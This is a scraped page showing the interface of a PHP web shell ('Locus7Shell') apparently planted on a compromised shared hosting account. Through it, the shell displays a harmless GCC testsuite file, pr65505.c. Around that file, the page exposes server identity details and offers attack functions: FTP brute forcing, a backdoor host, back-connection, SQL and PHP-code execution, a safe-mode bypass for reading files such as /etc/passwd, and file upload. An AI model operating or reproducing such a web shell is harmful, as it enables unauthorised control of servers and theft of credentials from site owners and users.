Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/sh/torture/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr65505.c (2.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do compile }  */
/* { dg-additional-options "-std=gnu99" }  */

struct thread_info {
 struct task_struct *task;
};

static inline __attribute__((always_inline))
              __attribute__((no_instrument_function))
struct thread_info *current_thread_info(void)
{
 struct thread_info *ti;

 unsigned long __dummy;

 __asm__ __volatile__ (
  "mov    r15, %0\n\t"
  "and    %1, %0\n\t"
  : "=&r" (ti), "=r" (__dummy)
  : "1" (~((1 << 13) - 1))
  : "memory");

 return ti;
}

typedef struct seqcount {
 unsigned sequence;
} seqcount_t;

struct inode;

struct dentry {
 seqcount_t d_seq;
 struct inode *d_inode;
};

struct path {
 struct vfsmount *mnt;
 struct dentry *dentry;
};

struct file {
 struct path f_path;
} __attribute__((aligned(4)));

struct task_struct
{
 int link_count, total_link_count;
 struct fs_struct *fs;
};

struct fd {
 struct file *file;
 unsigned int flags;
};

static inline __attribute__((always_inline))
              __attribute__((no_instrument_function))
struct fd
fdget_raw(unsigned int fd)
{
  return (struct fd){(struct file *)(fd & ~3),fd & 3};
}


struct fs_struct;

struct nameidata {
 struct path path;
 struct path root;
 struct inode *inode;
 unsigned int flags;
 unsigned seq, m_seq;
 struct file *base;
};

int read_seqcount_retry(const seqcount_t *s, unsigned start);

int
path_init(int dfd, const char *name, unsigned int flags,
          struct nameidata *nd)
{
 int retval = 0;

 if (*name=='/') {
  nd->path = nd->root;
 } else if (dfd == -100) {

  if (flags & 0x0040) {
   struct fs_struct *fs = (current_thread_info()->task)->fs;
  }
 } else {

  struct fd f = fdget_raw(dfd);
  struct dentry *dentry;

  if (!f.file)
   return -9;

  dentry = f.file->f_path.dentry;

  nd->path = f.file->f_path;
  if (flags & 0x0040) {
   if (f.flags & 1)
    nd->base = f.file;
  }
 }

 nd->inode = nd->path.dentry->d_inode;
 if (!(flags & 0x0040))
  goto done;
 if (__builtin_expect(!!(!read_seqcount_retry(&nd->path.dentry->d_seq, nd->seq)), 1))
  goto done;
 if (!(nd->flags & 0x2000))
  nd->root.mnt = ((void *)0);

 return -10;
done:
 (current_thread_info()->task)->total_link_count = 0;
 return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--